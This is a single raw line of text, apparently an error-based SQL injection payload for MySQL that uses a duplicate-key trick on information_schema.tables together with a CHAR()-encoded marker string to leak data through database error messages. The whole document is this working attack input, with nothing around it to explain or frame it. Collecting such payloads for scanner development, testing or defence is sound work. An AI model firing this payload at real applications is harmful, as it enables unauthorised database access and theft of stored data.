and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(74),CHAR(107),CHAR(82),CHAR(118),CHAR(81),CHAR(72),CHAR(104),CHAR(101)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and